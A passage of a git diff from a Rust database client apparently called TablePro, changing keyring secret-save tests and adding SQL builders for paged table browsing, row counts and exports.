combo_rows_decode_to_the_actions_they_are_labelled_with() { + let mssql = tablepro_core::sql_ddl::supported_fk_actions("mssql"); + + let labels = action_labels(mssql); + + assert!(!labels.contains(&"RESTRICT"), "SQL Server has no RESTRICT: {labels:?}"); + for (row, label) in labels.iter().enumerate() { + let action = action_for_row(mssql, row as u32).expect("a row the combo shows"); + assert_eq!(action.as_sql(), *label); + } + assert_eq!(action_for_row(mssql, labels.len() as u32), None); + } + #[gtk4::test] fn a_form_dialog_has_a_default_widget() { let (dialog, _body, _submit) = diff --git a/linux/crates/app/src/ui/welcome_view.rs b/linux/crates/app/src/ui/welcome_view.rs index 88a1d9ab24..a514641f68 100644 --- a/linux/crates/app/src/ui/welcome_view.rs +++ b/linux/crates/app/src/ui/welcome_view.rs @@ -203,7 +203,7 @@ mod tests { port: 5432, database: "app".to_owned(), username: "postgres".to_owned(), - use_tls: true, + tls: tablepro_core::TlsConfig::verify_full(), read_only: false, auth_mode: tablepro_core::AuthMode::Password, ssh: None, diff --git a/linux/crates/app/tests/secret_save_flow.rs b/linux/crates/app/tests/secret_save_flow.rs index c5bf4ff905..5cd714aeea 100644 --- a/linux/crates/app/tests/secret_save_flow.rs +++ b/linux/crates/app/tests/secret_save_flow.rs @@ -1,116 +1,139 @@ -//! The order the save flow writes in, proved against a fake vault. +//! How a connection's secrets reach the keyring and come back, proved +//! against a fake vault and the real connection list on disk. //! -//! The rule is: secrets first, then one list write. Anything else either -//! records a passphrase that is not there, or leaves secrets belonging -//! to a connection that was never saved. +//! Saving writes secrets first, then the entry once. A secret the +//! keyring refuses does not stop the save: the entry is kept without it +//! and the user is asked for it at the next connect, which is also what +//! happens to a connection whose password was never stored. use std::sync::Arc; -use secrecy::SecretString; -use tablepro_core::AuthMode; -use tablepro_core::credentials::{SecretError, SecretKind, SecretVault}; -use tablepro_storage::{ConnectionStore, SavedConnection, SavedSshAuth, SavedSshConfig, StoragePaths}; -use tablepro_test_support::{Call, FakeSecretVault}; +use secrecy::{ExposeSecret, SecretString}; +use tablepro_core::credentials::{ + CredentialInteraction, PromptReply, SecretError, SecretKind, SecretSave, SecretVault, +}; +use tablepro_core::{AuthMode, Credentials, DriverRegistry, TlsConfig}; +use tablepro_session::connect::StoreConnectionWrites; +use tablepro_session::runtime::Tasks; +use tablepro_session::{ConnectError, PendingSave, RequestTarget, persist_pending_save, resolve_saved}; +use tablepro_storage::{ + ConnectionStore, CredentialDemand, KeyringCredentials, KeyringError, SavedConnection, SavedSshAuth, SavedSshConfig, + StorageError, StoragePaths, +}; +use tablepro_test_support::{Call, ConnectionScript, FakeDriver, FakePrompter, FakeSecretVault}; use uuid::Uuid; fn paths(root: &tempfile::TempDir) -> StoragePaths { StoragePaths::under(root.path(), "tablepro-test", "app.tablepro.TablePro.Devel") } -fn connection(id: Uuid, has_passphrase: bool) -> SavedConnection { +#[expect( + clippy::disallowed_methods, + reason = "a test is already inside its own runtime; the app takes the handle from AppRuntime" +)] +fn tasks() -> Tasks { + Tasks::new(tokio::runtime::Handle::current()) +} + +fn connection(id: Uuid, ssh: Option) -> SavedConnection { SavedConnection { id, name: "Prod".into(), - driver_id: "postgres".into(), + driver_id: "fake".into(), host: "db.example.com".into(), port: 5432, database: "shop".into(), username: "app".into(), - use_tls: true, + tls: TlsConfig::verify_full(), read_only: false, auth_mode: AuthMode::Password, - ssh: Some(SavedSshConfig { - host: "bastion.example.com".into(), - port: None, - username: Some("deploy".into()), - jump_hosts: Vec::new(), - auth: SavedSshAuth::PrivateKey { - path: Some("/home/u/.ssh/id_ed25519".into()), - has_passphrase, - }, - }), + ssh, last_opened_at: None, color: None, group: None, } } -/// The save flow as the dialog runs it, reduced to the ordering rule -/// under test. +fn keyed_ssh() -> SavedSshConfig { + SavedSshConfig { + host: "bastion.example.com".into(), + port: None, + username: Some("deploy".into()), + jump_hosts: Vec::new(), + auth: SavedSshAuth::PrivateKey { + path: Some("/home/u/.ssh/id_ed25519".into()), + // The save records whether the passphrase actually landed. + has_passphrase: true, + }, + } +} + +fn passphrase() -> SecretSave { + SecretSave { + kind: SecretKind::SshPassphrase, + secret: SecretString::from("pass"), + label: "TablePro SSH key passphrase".into(), + } +} + async fn save( - vault: &Arc, + vault: &FakeSecretVault, store: &ConnectionStore, - mut saved: SavedConnection, - passphrase: &str, + saved: SavedConnection, is_new: bool, -) -> Result { - let stored = vault - .store( - saved.id, - SecretKind::SshPassphrase, - &SecretString::from(passphrase.to_owned()), - "TablePro SSH key passphrase", - ) - .await - .is_ok(); - if let Some(config) = saved.ssh.as_mut() - && let SavedSshAuth::PrivateKey { has_passphrase, .. } = &mut config.auth - { - *has_passphrase = stored; - } - if let Err(error) = store.upsert_blocking(saved.clone()) { - if is_new { - let _ = vault.delete_connection(saved.id).await; - } - return Err(error.to_string()); - } - Ok(saved) +) -> Result { + let writes = StoreConnectionWrites::new(store.clone(), tasks()); + let pending = PendingSave { + connection: saved, + secrets: vec![passphrase()], + forget: Vec::new(), + is_new, + }; + persist_pending_save(vault, &writes, pending).await +} + +fn has_passphrase(saved: &SavedConnection) -> bool { + saved.has_stored_passphrase() } #[tokio::test] async fn secrets_stored_before_single_upsert() { let root = tempfile::tempdir().expect("tempdir"); - let fake = Arc::new(FakeSecretVault::new()); - let vault: Arc = fake.clone(); + let vault = FakeSecretVault::new(); let store = ConnectionStore::new(&paths(&root)); let id = Uuid::new_v4(); - save(&vault, &store, connection(id, true), "pass", true) + save(&vault, &store, connection(id, Some(keyed_ssh())), true) .await .expect("save"); - assert_eq!(fake.calls(), vec![Call::Store(id, SecretKind::SshPassphrase)]); - assert_eq!(store.load_blocking().expect("load").len(), 1); + assert_eq!(vault.calls(), vec![Call::Store(id, SecretKind::SshPassphrase)]); + let listed = store.load_blocking().expect("load"); + assert_eq!(listed.len(), 1); + assert!(has_passphrase(&listed[0])); } #[tokio::test] async fn passphrase_store_failure_saves_has_passphrase_false_in_one_write() { let root = tempfile::tempdir().expect("tempdir"); - let fake = Arc::new(FakeSecretVault::new()); - fake.fail_store(SecretKind::SshPassphrase, SecretError::Locked); - let vault: Arc = fake.clone(); + let vault = FakeSecretVault::new(); + vault.fail_store(SecretKind::SshPassphrase, SecretError::Locked); let store = ConnectionStore::new(&paths(&root)); let id = Uuid::new_v4(); let revision_before = store.snapshot().revision; - let saved = save(&vault, &store, connection(id, true), "pass", true) + let report = save(&vault, &store, connection(id, Some(keyed_ssh())), true) .await - .expect("save"); + .expect("the entry is saved without the secret"); - let SavedSshAuth::PrivateKey { has_passphrase, .. } = saved.ssh.expect("ssh").auth else { - panic!("expected a private key"); - }; - assert!(!has_passphrase, "the record claims a passphrase the keyring refused"); + assert!( + !has_passphrase(&report.saved), + "the record claims a passphrase the keyring refused" + ); + assert_eq!( + report.secret_failures, + [(SecretKind::SshPassphrase, SecretError::Locked)] + ); // One load plus one write, not a write followed by a correction. assert_eq!(store.snapshot().revision, revision_before + 2); } @@ -118,8 +141,7 @@ async fn passphrase_store_failure_saves_has_passphrase_false_in_one_write() { #[tokio::test] async fn new_connection_upsert_failure_deletes_stored_secrets() { let root = tempfile::tempdir().expect("tempdir"); - let fake = Arc::new(FakeSecretVault::new()); - let vault: Arc = fake.clone(); + let vault = FakeSecretVault::new(); // A corrupt list makes every write fail, which is what the rollback // has to cope with. let paths = paths(&root); @@ -128,43 +150,125 @@ async fn new_connection_upsert_failure_deletes_stored_secrets() { let store = ConnectionStore::new(&paths); let id = Uuid::new_v4(); - let refused = save(&vault, &store, connection(id, true), "pass", true).await; + let refused = save(&vault, &store, connection(id, Some(keyed_ssh())), true).await; assert!(refused.is_err()); - assert!(fake.is_empty(), "secrets outlived the connection that never saved"); - assert!(fake.calls().contains(&Call::DeleteConnection(id))); + assert!(vault.is_empty(), "secrets outlived the connection that never saved"); + assert!(vault.calls().contains(&Call::DeleteConnection(id))); } #[tokio::test] async fn an_existing_connection_keeps_its_secrets_when_the_write_fails() { let root = tempfile::tempdir().expect("tempdir"); - let fake = Arc::new(FakeSecretVault::new()); - let vault: Arc = fake.clone(); + let vault = FakeSecretVault::new(); let paths = paths(&root); std::fs::create_dir_all(paths.connections_file().parent().expect("parent")).expect("create"); std::fs::write(paths.connections_file(), "not json").expect("seed"); let store = ConnectionStore::new(&paths); let id = Uuid::new_v4(); - let refused = save(&vault, &store, connection(id, true), "pass", false).await; + let refused = save(&vault, &store, connection(id, Some(keyed_ssh())), false).await; assert!(refused.is_err()); // The entry already existed, so its secrets still belong to it. - assert!(!fake.is_empty()); - assert!(!fake.calls().contains(&Call::DeleteConnection(id))); + assert!(!vault.is_empty()); + assert!(!vault.calls().contains(&Call::DeleteConnection(id))); +} + +fn drivers() -> DriverRegistry { + let mut drivers = DriverRegistry::new(); + drivers.register(Arc::new(FakeDriver::connecting( + &FakeDriver::NETWORK_CAPABILITIES, + ConnectionScript::default(), + ))); + drivers +} + +fn database_password(target: &RequestTarget) -> Option { + match target { + RequestTarget::Network { + credentials: Credentials::Password { password, .. }, + .. + } => Some(password.expose_secret().to_owned()), + _ => None, + } } #[tokio::test] -async fn open_saved_not_stored_is_visible_rather_than_an_empty_password() { - let fake = FakeSecretVault::new(); +async fn keyring_credentials_not_stored_is_error_not_empty_password() { + let vault: Arc = Arc::new(FakeSecretVault::new()); + let saved = connection(Uuid::new_v4(), None); + let credentials = KeyringCredentials::for_saved(vault, &saved); - let looked_up = fake - .load(Uuid::new_v4(), SecretKind::DatabasePassword) - .await - .expect("load"); + let resolved = resolve_saved( + &saved, + &drivers(), + &credentials, + CredentialInteraction::Unattended, + CredentialDemand::default(), + ) + .await; // The old code turned this into an empty password, which reached the // driver and came back as a confusing authentication failure. - assert!(!looked_up.is_stored()); - assert!(looked_up.found().is_none()); + assert_eq!( + resolved.err(), + Some(ConnectError::Keyring(KeyringError::SecretNotStored { + kind: SecretKind::DatabasePassword + })) + ); +} + +#[tokio::test] +async fn a_saved_connection_without_a_password_asks_for_one() { + let vault: Arc = Arc::new(FakeSecretVault::new()); + let saved = connection(Uuid::new_v4(), None); + let credentials = KeyringCredentials::for_saved(vault, &saved); + let prompter = Arc::new(FakePrompter::new([PromptReply::Submitted { + values: vec![SecretString::from("typed")], + remember: true, + }])); + + let refreshed = resolve_saved( + &saved, + &drivers(), + &credentials, + CredentialInteraction::Attended(prompter), + CredentialDemand::default(), + ) + .await + .expect("the prompt supplies the password"); + + assert_eq!(database_password(&refreshed.request.target).as_deref(), Some("typed")); + assert_eq!(refreshed.remember.len(), 1, "remember was asked for and dropped"); + assert_eq!(refreshed.remember[0].kind, SecretKind::DatabasePassword); +} + +#[tokio::test] +async fn keyring_credentials_found_injects_secret() { + let fake = Arc::new(FakeSecretVault::new()); + let saved = connection(Uuid::new_v4(), None); + fake.store( + saved.id, + SecretKind::DatabasePassword, + &SecretString::from("stored"), + "label", + ) + .await + .expect("seed the keyring"); + let vault: Arc = fake; + let credentials = KeyringCredentials::for_saved(vault, &saved); + + let refreshed = resolve_saved( + &saved, + &drivers(), + &credentials, + CredentialInteraction::Unattended, + CredentialDemand::default(), + ) + .await + .expect("the stored password is used"); + + assert_eq!(database_password(&refreshed.request.target).as_deref(), Some("stored")); + assert!(refreshed.remember.is_empty()); } diff --git a/linux/crates/core/src/auth_mode.rs b/linux/crates/core/src/auth_mode.rs new file mode 100644 index 0000000000..2e60423a6a --- /dev/null +++ b/linux/crates/core/src/auth_mode.rs @@ -0,0 +1,33 @@ +use serde::{Deserialize, Serialize}; + +/// How a saved connection logs in. +/// +/// It is persisted with the connection, so a variant is never renamed: +/// the stored spelling is the serde name. +#[derive(Debug, Clone, Copy, Default, PartialEq, Eq, Hash, Serialize, Deserialize)] +#[serde(rename_all = "snake_case")] +pub enum AuthMode { + #[default] + Password, + /// SQL Server integrated login over Kerberos, with the ticket the + /// user already holds from `kinit`. No username or password is + /// sent. + Kerberos, +} + +#[cfg(test)] +mod tests { + use super::*; + + #[test] + fn the_stored_spelling_is_snake_case() { + assert_eq!( + serde_json::to_string(&AuthMode::Kerberos).ok().as_deref(), + Some("\"kerberos\"") + ); + assert_eq!( + serde_json::from_str::("\"password\"").ok(), + Some(AuthMode::Password) + ); + } +} diff --git a/linux/crates/core/src/browse/browse_sql_error.rs b/linux/crates/core/src/browse/browse_sql_error.rs index 0e02835708..cd27712a0c 100644 --- a/linux/crates/core/src/browse/browse_sql_error.rs +++ b/linux/crates/core/src/browse/browse_sql_error.rs @@ -1,12 +1,28 @@ use thiserror::Error; +use crate::dialect::BindError; use crate::dml::BuildSqlError; +use crate::filter::BuildFilterError; + +use super::PagingMode; /// Why a page could not be built or read back. #[derive(Debug, Clone, PartialEq, Eq, Error)] pub enum BrowseSqlError { + #[error("the table has no columns to select")] + NoColumns, + #[error("the sort names column {0}, which the table does not have")] + UnknownSortColumn(usize), + #[error("this page position cannot be read when paging by {mode:?}")] + UnsupportedPosition { mode: PagingMode }, + #[error("the row to page from has a NULL key, which no row compares past")] + NullAnchor, #[error("the page returned {found} columns but the query asked for {expected}")] ShapeMismatch { expected: usize, found: usize }, #[error(transparent)] + Filter(#[from] BuildFilterError), + #[error(transparent)] Build(#[from] BuildSqlError), + #[error(transparent)] + Bind(#[from] BindError), } diff --git a/linux/crates/core/src/browse/build_count.rs b/linux/crates/core/src/browse/build_count.rs new file mode 100644 index 0000000000..8583c7ac74 --- /dev/null +++ b/linux/crates/core/src/browse/build_count.rs @@ -0,0 +1,32 @@ +use crate::column::ColumnInfo; +use crate::dialect::SqlDialect; +use crate::filter::{FilterSet, build_filter}; +use crate::meta::TableRef; +use crate::statement::{Statement, StatementBuilder}; + +use super::BrowseSqlError; +use super::select_parts::where_clause; + +/// The count the paginator shows, under the same filter as the page. +/// +/// The count expression is the dialect's, because COUNT(*) is a 32-bit +/// int on SQL Server and fails past two billion rows. +pub fn build_count( + dialect: &dyn SqlDialect, + table: &TableRef, + columns: &[ColumnInfo], + filter: &FilterSet, +) -> Result { + let mut builder = StatementBuilder::new(); + let mut conditions = Vec::new(); + if build_filter(&mut builder, dialect, columns, filter)? { + conditions.push(builder.take_fragment()); + } + builder.push_sql(&format!( + "SELECT {} FROM {}{}", + dialect.count_all(), + dialect.qualify(table), + where_clause(&conditions) + )); + Ok(builder.finish()) +} diff --git a/linux/crates/core/src/browse/build_export.rs b/linux/crates/core/src/browse/build_export.rs new file mode 100644 index 0000000000..a50093de2b --- /dev/null +++ b/linux/crates/core/src/browse/build_export.rs @@ -0,0 +1,37 @@ +use crate::dialect::SqlDialect; +use crate::filter::build_filter; +use crate::statement::{Statement, StatementBuilder}; + +use super::select_parts::{ + identity_components, identity_order, projection_list, user_order, where_clause, with_tiebreak, +}; +use super::{BrowseSqlError, ExportRequest}; + +/// Every row the grid's filter and sort select, for an export. +/// +/// The same projections and filter as a page, so an export holds what +/// the grid showed. No engine row id is selected: it is never data the +/// user asked for. The identity still orders the rows, so two exports +/// of an unchanged table come out the same. +pub fn build_export(dialect: &dyn SqlDialect, request: &ExportRequest<'_>) -> Result { + let projection = projection_list(dialect, request.columns)?; + let components = identity_components(request.identity, request.columns)?; + let user = user_order(dialect, request.table, request.columns, request.sort)?; + let order = with_tiebreak(user, &identity_order(dialect, request.table, &components)?); + + let mut builder = StatementBuilder::new(); + let mut conditions = Vec::new(); + if build_filter(&mut builder, dialect, request.columns, request.filter)? { + conditions.push(builder.take_fragment()); + } + let order_by = match order.is_empty() { + true => String::new(), + false => format!(" ORDER BY {}", order.join(", ")), + }; + builder.push_sql(&format!( + "SELECT {projection} FROM {}{}{order_by}", + dialect.qualify(request.table), + where_clause(&conditions) + )); + Ok(builder.finish()) +} diff --git a/linux/crates/core/src/browse/build_page.rs b/linux/crates/core/src/browse/build_page.rs new file mode 100644 index 0000000000..99f1e16aa7 --- /dev/null +++ b/linux/crates/core/src/browse/build_page.rs @@ -0,0 +1,263 @@ +use crate::column::ColumnInfo; +use crate::dialect::{BindTarget, KeysetDirection, SqlDialect}; +use crate::dml::{BuildSqlError, KeyComponent}; +use crate::filter::build_filter; +use crate::meta::{EngineRowIdPart, PageCost, PagePosition, PageStability, RowIdentity}; +use crate::statement::StatementBuilder; +use crate::value::Value; + +use super::select_parts::{ + direction, identity_components, identity_order, projection_list, user_order, where_clause, with_tiebreak, +}; +use super::{BrowseSqlError, PageLayout, PageRequest, PageSpec, PagingMode, RowKeyLayout, paging_mode}; + +/// The query for one page of a table. +/// +/// The visible columns come first, through the dialect's projections, +/// and any engine row id parts follow as hidden columns that +/// `split_page` strips. The position decides how the page is found: +/// past a key, inside a block window, or at an offset, under the one +/// mode `paging_mode` picks for the table and sort. +pub fn build_page(dialect: &dyn SqlDialect, request: &PageRequest<'_>) -> Result { + let mode = paging_mode(request.identity, request.sort); + let components = identity_components(request.identity, request.columns)?; + let (row_key, hidden) = row_key_layout(dialect, request.identity, request.columns, &components)?; + let layout = PageLayout::new(request.columns.len(), hidden.as_ref().map_or(0, |(count, _)| *count)); + + let mut projection = projection_list(dialect, request.columns)?; + if let Some((_, hidden_sql)) = hidden { + projection = format!("{projection}, {hidden_sql}"); + } + + let mut builder = StatementBuilder::new(); + let mut conditions = Vec::new(); + if build_filter(&mut builder, dialect, request.columns, request.filter)? { + conditions.push(builder.take_fragment()); + } + + let identity_sql = identity_order(dialect, request.table, &components)?; + let user = user_order(dialect, request.table, request.columns, request.sort)?; + let walk = match mode { + PagingMode::Keyset => keyset_walk(&mut builder, dialect, request, &components, &identity_sql)?, + PagingMode::CtidWindow => ctid_walk(&mut builder, dialect, request.position)?, + PagingMode::Offset => offset_walk(request.position, request.identity, with_tiebreak(user, &identity_sql))?, + }; + conditions.extend(walk.condition); + + let order_by = (!walk.order.is_empty()).then(|| walk.order.join(", ")); + builder.push_sql(&format!( + "SELECT {projection} FROM {}{}{}", + dialect.qualify(request.table), + where_clause(&conditions), + dialect.row_window(order_by.as_deref(), request.limit, walk.offset) + )); + + Ok(PageSpec { + statement: builder.finish(), + layout, + row_key, + stability: walk.stability, + cost: walk.cost, + }) +} + +/// How the page is located within the table. +struct Walk { + condition: Option, + order: Vec, + offset: u64, + stability: PageStability, + cost: PageCost, +} + +/// Where each row's key is read from, and the hidden projection with +/// its column count when the key is the engine's own row address. +fn row_key_layout( + dialect: &dyn SqlDialect, + identity: &RowIdentity, + columns: &[ColumnInfo], + components: &[KeyComponent<'_>], +) -> Result<(RowKeyLayout, Option<(usize, String)>), BrowseSqlError> { + match identity { + RowIdentity::Unordered => Ok((RowKeyLayout::ReadOnly, None)), + RowIdentity::EngineRowId(id) => { + let hidden = dialect.engine_row_id(*id).ok_or(BuildSqlError::NoRowIdentity)?; + let parts = id.parts(); + Ok(( + RowKeyLayout::EngineRowId { + first_hidden: columns.len(), + parts, + }, + Some((parts.len(), hidden)), + )) + } + RowIdentity::UniqueKey { .. } | RowIdentity::SortingKey { .. } => { + let positions = components + .iter() + .filter_map(|component| match component { + KeyComponent::Column(key) => columns.iter().position(|column| column.name == key.name), + KeyComponent::EngineRowId(_) => None, + }) + .collect(); + Ok((RowKeyLayout::Columns(positions), None)) + } + } +} + +fn keyset_walk( + builder: &mut StatementBuilder, + dialect: &dyn SqlDialect, + request: &PageRequest<'_>, + components: &[KeyComponent<'_>], + identity_sql: &[String], +) -> Result { + let key_order = |keyset_direction: KeysetDirection| { + let ascending = !keyset_direction.reverses_order(); + identity_sql + .iter() + .map(|expression| format!("{expression} {}", direction(ascending))) + .collect::>() + }; + let (anchor, keyset_direction) = match request.position { + PagePosition::First => (None, KeysetDirection::After), + PagePosition::Offset(offset) => { + return Ok(Walk { + condition: None, + order: key_order(KeysetDirection::After), + offset: *offset, + stability: PageStability::Stable, + cost: PageCost::SortPerPage, + }); + } + PagePosition::AfterKey(key) => (Some(key), KeysetDirection::After), + PagePosition::BeforeKey(key) => (Some(key), KeysetDirection::Before), + PagePosition::CtidWindow { .. } => { + return Err(BrowseSqlError::UnsupportedPosition { + mode: PagingMode::Keyset, + }); + } + }; + let condition = match anchor { + Some(key) => { + let markers = bind_anchor(builder, dialect, components, key)?; + Some(dialect.row_value_after(identity_sql, &markers, keyset_direction)) + } + None => None, + }; + Ok(Walk { + condition, + order: key_order(keyset_direction), + offset: 0, + stability: PageStability::Stable, + cost: PageCost::KeySeek, + }) +} + +/// Bind the edge row's key, taken from `BrowsePage::keys`, one marker +/// per key part in key order. +fn bind_anchor( + builder: &mut StatementBuilder, + dialect: &dyn SqlDialect, + components: &[KeyComponent<'_>], + key: &[Value], +) -> Result, BrowseSqlError> { + if key.len() != components.len() { + return Err(BuildSqlError::LengthMismatch { + expected: components.len(), + found: key.len(), + } + .into()); + } + let mut markers = Vec::with_capacity(key.len()); + for (component, value) in components.iter().zip(key) { + match value { + Value::Undecodable(_) => return Err(BuildSqlError::UndecodableKey.into()), + Value::Null => return Err(BrowseSqlError::NullAnchor), + _ => {} + } + let target = match component { + KeyComponent::Column(column) => BindTarget::Column(column), + KeyComponent::EngineRowId(part) => BindTarget::EngineRowId(*part), + }; + markers.push(builder.bind(dialect, value.clone(), target)?); + } + Ok(markers) +} + +/// A range of heap blocks in ctid order. The bounds are bound as text +/// the dialect casts back to a row address. +fn ctid_walk( + builder: &mut StatementBuilder, + dialect: &dyn SqlDialect, + position: &PagePosition, +) -> Result { + let ctid = dialect + .engine_row_id_column(EngineRowIdPart::PostgresCtid) + .ok_or(BuildSqlError::NoRowIdentity)?; + let order = vec![format!("{ctid} {}", direction(true))]; + let (after, end_block) = match position { + PagePosition::First => (None, None), + PagePosition::Offset(offset) => { + return Ok(Walk { + condition: None, + order, + offset: *offset, + stability: PageStability::Stable, + cost: PageCost::SortPerPage, + }); + } + PagePosition::CtidWindow { after, end_block } => (*after, Some(*end_block)), + PagePosition::AfterKey(_) | PagePosition::BeforeKey(_) => { + return Err(BrowseSqlError::UnsupportedPosition { + mode: PagingMode::CtidWindow, + }); + } + }; + + let target = BindTarget::EngineRowId(EngineRowIdPart::PostgresCtid); + let mut bounds = Vec::new(); + if let Some((block, offset)) = after { + let marker = builder.bind(dialect, Value::Text(format!("({block},{offset})")), target)?; + bounds.push(format!("{ctid} > {marker}")); + } + // A block number past what a tid can hold means the window runs to + // the end of the table. + if let Some(end_block) = end_block.and_then(|end| u32::try_from(end).ok()) { + let marker = builder.bind(dialect, Value::Text(format!("({end_block},0)")), target)?; + bounds.push(format!("{ctid} < {marker}")); + } + Ok(Walk { + condition: (!bounds.is_empty()).then(|| bounds.join(" AND ")), + order, + offset: 0, + stability: PageStability::Stable, + cost: match end_block { + Some(_) => PageCost::BlockWindow, + None => PageCost::SortPerPage, + }, + }) +} + +fn offset_walk(position: &PagePosition, identity: &RowIdentity, order: Vec) -> Result { + let offset = match position { + PagePosition::First => 0, + PagePosition::Offset(offset) => *offset, + PagePosition::AfterKey(_) | PagePosition::BeforeKey(_) | PagePosition::CtidWindow { .. } => { + return Err(BrowseSqlError::UnsupportedPosition { + mode: PagingMode::Offset, + }); + } + }; + let stability = match identity { + RowIdentity::UniqueKey { .. } | RowIdentity::EngineRowId(_) => PageStability::Stable, + RowIdentity::SortingKey { .. } => PageStability::NonUniqueOrder, + RowIdentity::Unordered => PageStability::Unordered, + }; + Ok(Walk { + condition: None, + order, + offset, + stability, + cost: PageCost::SortPerPage, + }) +} diff --git a/linux/crates/core/src/browse/export_request.rs b/linux/crates/core/src/browse/export_request.rs new file mode 100644 index 0000000000..fe050e3214 --- /dev/null +++ b/linux/crates/core/src/browse/export_request.rs @@ -0,0 +1,16 @@ +use crate::column::ColumnInfo; +use crate::filter::FilterSet; +use crate::meta::{RowIdentity, TableRef}; + +use super::SortKey; + +/// The rows an export reads: the table as the grid filters and sorts +/// it, every page at once. +#[derive(Debug, Clone, Copy)] +pub struct ExportRequest<'a> { + pub table: &'a TableRef, + pub columns: &'a [ColumnInfo], + pub filter: &'a FilterSet, + pub sort: &'a [SortKey], + pub identity: &'a RowIdentity, +} diff --git a/linux/crates/core/src/browse/mod.rs b/linux/crates/core/src/browse/mod.rs index 32b38a55ba..ee1a959b38 100644 --- a/linux/crates/core/src/browse/mod.rs +++ b/linux/crates/core/src/browse/mod.rs @@ -1,11 +1,33 @@ -//! Reading a table a page at a time. +//! Reading a table a page at a time, and every row at once for an +//! export. mod browse_page; mod browse_sql_error; +mod build_count; +mod build_export; +mod build_page; +mod export_request; +mod page_layout; +mod page_request; +mod page_spec; +mod paging_mode; mod row_key_layout; +mod select_parts; +mod sort_key; mod split_page; +#[cfg(test)] +mod tests; pub use browse_page::BrowsePage; pub use browse_sql_error::BrowseSqlError; +pub use build_count::build_count; +pub use build_export::build_export; +pub use build_page::build_page; +pub use export_request::ExportRequest; +pub use page_layout::PageLayout; +pub use page_request::PageRequest; +pub use page_spec::PageSpec; +pub use paging_mode::{PagingMode, paging_mode}; pub use row_key_layout::RowKeyLayout; +pub use sort_key::SortKey; pub use split_page::split_page; diff --git a/linux/crates/core/src/browse/page_layout.rs b/linux/crates/core/src/browse/page_layout.rs new file mode 100644 index 0000000000..dec53a8595 --- /dev/null +++ b/linux/crates/core/src/browse/page_layout.rs @@ -0,0 +1,27 @@ +use std::ops::Range; + +/// Where the visible columns and the row's identity sit in what a page +/// query returns. +/// +/// The identity columns come straight after the visible ones. Its range +/// is empty when the key is made of visible columns, and holds the +/// hidden engine row id parts otherwise. +#[derive(Debug, Clone, PartialEq, Eq)] +pub struct PageLayout { + pub visible: Range, + pub identity: Range, +} + +impl PageLayout { + pub(super) fn new(visible: usize, hidden: usize) -> Self { + Self { + visible: 0..visible, + identity: visible..visible + hidden, + } + } + + /// How many columns the query returns. + pub fn width(&self) -> usize { + self.identity.end + } +} diff --git a/linux/crates/core/src/browse/page_request.rs b/linux/crates/core/src/browse/page_request.rs new file mode 100644 index 0000000000..5206333ebd --- /dev/null +++ b/linux/crates/core/src/browse/page_request.rs @@ -0,0 +1,19 @@ +use crate::column::ColumnInfo; +use crate::filter::FilterSet; +use crate::meta::{PagePosition, RowIdentity, TableRef}; + +use super::SortKey; + +/// Everything a page query depends on. +#[derive(Debug, Clone, Copy)] +pub struct PageRequest<'a> { + pub table: &'a TableRef, + /// The table's columns from the catalogue, in the order the grid + /// shows them. + pub columns: &'a [ColumnInfo], + pub filter: &'a FilterSet, + pub sort: &'a [SortKey], + pub identity: &'a RowIdentity, + pub position: &'a PagePosition, + pub limit: u64, +} diff --git a/linux/crates/core/src/browse/page_spec.rs b/linux/crates/core/src/browse/page_spec.rs new file mode 100644 index 0000000000..1028774722 --- /dev/null +++ b/linux/crates/core/src/browse/page_spec.rs @@ -0,0 +1,22 @@ +use crate::meta::{PageCost, PageStability}; +use crate::statement::Statement; + +use super::{PageLayout, RowKeyLayout}; + +/// A page query and what the caller needs to read its result back. +#[derive(Debug, Clone, PartialEq)] +pub struct PageSpec { + pub statement: Statement, + pub layout: PageLayout, + /// Where each row's key is read from, in `key_components` order. + pub row_key: RowKeyLayout, + pub stability: PageStability, + pub cost: PageCost, +} + +impl PageSpec { + /// How many of the returned columns the user sees. + pub fn visible_columns(&self) -> usize { + self.layout.visible.len() + } +} diff --git a/linux/crates/core/src/browse/paging_mode.rs b/linux/crates/core/src/browse/paging_mode.rs new file mode 100644 index 0000000000..f36ceed66b --- /dev/null +++ b/linux/crates/core/src/browse/paging_mode.rs @@ -0,0 +1,85 @@ +use crate::meta::{EngineRowId, RowIdentity}; + +use super::SortKey; + +/// How the next page is found. +/// +/// One rule for the page builder and the pager, so the SQL and the +/// position the pager asks for cannot disagree. +#[derive(Debug, Clone, Copy, PartialEq, Eq)] +pub enum PagingMode { + /// Seek past the edge row's key. Constant cost whatever the page. + Keyset, + /// A range of PostgreSQL heap blocks, for a table with no key. + CtidWindow, + /// Skip rows. Any order the user asks for, at a cost that grows + /// with the offset. + Offset, +} + +/// The paging mode for a table and the sort the user chose. +/// +/// A user sort orders by columns that are not unique, which a seek +/// cannot resume from, so it always pages by offset. A partitioned +/// table's ctid is unique only within one partition, so it has no +/// block window to walk. +pub fn paging_mode(identity: &RowIdentity, sort: &[SortKey]) -> PagingMode { + if !sort.is_empty() { + return PagingMode::Offset; + } + match identity { + RowIdentity::UniqueKey { .. } | RowIdentity::EngineRowId(EngineRowId::SqliteRowid) => PagingMode::Keyset, + RowIdentity::EngineRowId(EngineRowId::PostgresCtid) => PagingMode::CtidWindow, + RowIdentity::EngineRowId(EngineRowId::PostgresTableoidCtid) + | RowIdentity::SortingKey { .. } + | RowIdentity::Unordered => PagingMode::Offset, + } +} + +#[cfg(test)] +mod tests { + use super::*; + + fn by_id() -> RowIdentity { + RowIdentity::UniqueKey { + columns: vec!["id".to_owned()], + } + } + + #[test] + fn a_key_with_no_user_sort_seeks() { + assert_eq!(paging_mode(&by_id(), &[]), PagingMode::Keyset); + assert_eq!( + paging_mode(&RowIdentity::EngineRowId(EngineRowId::SqliteRowid), &[]), + PagingMode::Keyset + ); + } + + #[test] + fn a_heap_with_no_key_walks_block_windows() { + assert_eq!( + paging_mode(&RowIdentity::EngineRowId(EngineRowId::PostgresCtid), &[]), + PagingMode::CtidWindow + ); + assert_eq!( + paging_mode(&RowIdentity::EngineRowId(EngineRowId::PostgresTableoidCtid), &[]), + PagingMode::Offset, + "a ctid repeats across partitions" + ); + } + + #[test] + fn a_user_sort_always_pages_by_offset() { + let sort = [SortKey { + column: 0, + ascending: false, + }]; + + assert_eq!(paging_mode(&by_id(), &sort), PagingMode::Offset); + assert_eq!( + paging_mode(&RowIdentity::EngineRowId(EngineRowId::PostgresCtid), &sort), + PagingMode::Offset + ); + assert_eq!(paging_mode(&RowIdentity::Unordered, &[]), PagingMode::Offset); + } +} diff --git a/linux/crates/core/src/browse/select_parts.rs b/linux/crates/core/src/browse/select_parts.rs new file 